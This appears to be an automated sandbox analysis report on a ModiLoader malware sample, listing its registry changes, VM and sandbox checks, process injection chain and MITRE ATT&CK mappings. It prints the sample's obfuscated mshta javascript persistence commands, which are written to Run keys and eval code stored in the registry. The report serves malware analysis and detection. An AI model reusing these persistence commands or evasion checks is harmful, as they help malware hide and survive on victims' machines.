modiloader | ee54af3b2159619379f89188fc488fce892174a017c4437957375abd4df07b3b

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:mQzNlKDp80=\"Vydzq\";a53p=new%20ActiveXObject(\"WScript.Shell\");BYCq2KmCP2=\"0MIUMi\";GnP1g=a53p.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\84f51283c0\\\\d3c9d114\");J6iJCgFSA=\"uHh\";eval(GnP1g);oOUUx1o=\"d\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

4264 regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:fU9utBS6=\"GZ3RxV\";f0j=new%20ActiveXObject(\"WScript.Shell\");ezal12NTwP=\"nW8c06\";eNr4R7=f0j.RegRead(\"HKCU\\\\software\\\\84f51283c0\\\\d3c9d114\");vdpM5IG=\"msAedghWoM\";eval(eNr4R7);larD3cDnZ=\"llB5W\";"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:R3rrxrDx=\"5VeaOG\";iB0=new%20ActiveXObject(\"WScript.Shell\");HwRVxTwd36=\"HWWVoU9KD\";f8xbX=iB0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\84f51283c0\\\\d3c9d114\");nRYb5LniK=\"gF\";eval(f8xbX);LtRc08Qu=\"lP\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exe

pid	process
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exeregsvr32.exeregsvr32.exe

pid	process
4504	6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe
4504	6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe
4504	6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe
2696	regsvr32.exe
2696	regsvr32.exe
2696	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe
4264	regsvr32.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 4504 wrote to memory of 2696	4504	6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe	regsvr32.exe
PID 4504 wrote to memory of 2696	4504	6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe	regsvr32.exe
PID 4504 wrote to memory of 2696	4504	6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe	regsvr32.exe
PID 2696 wrote to memory of 4264	2696	regsvr32.exe	regsvr32.exe
PID 2696 wrote to memory of 4264	2696	regsvr32.exe	regsvr32.exe
PID 2696 wrote to memory of 4264	2696	regsvr32.exe	regsvr32.exe
PID 4264 wrote to memory of 3836	4264	regsvr32.exe	regsvr32.exe
PID 4264 wrote to memory of 3836	4264	regsvr32.exe	regsvr32.exe
PID 4264 wrote to memory of 3836	4264	regsvr32.exe	regsvr32.exe
PID 4264 wrote to memory of 3636	4264	regsvr32.exe	regsvr32.exe
PID 4264 wrote to memory of 3636	4264	regsvr32.exe	regsvr32.exe
PID 4264 wrote to memory of 3636	4264	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\6dd2ba89e96e70dff143f8fe4c282143_JaffaCakes118.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4504

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4264

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:3836

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:3636

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Virtualization/Sandbox Evasion

T1497

Modify Registry

3

Credential Access

Discovery

Software Discovery

1

T1518

Query Registry

4

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery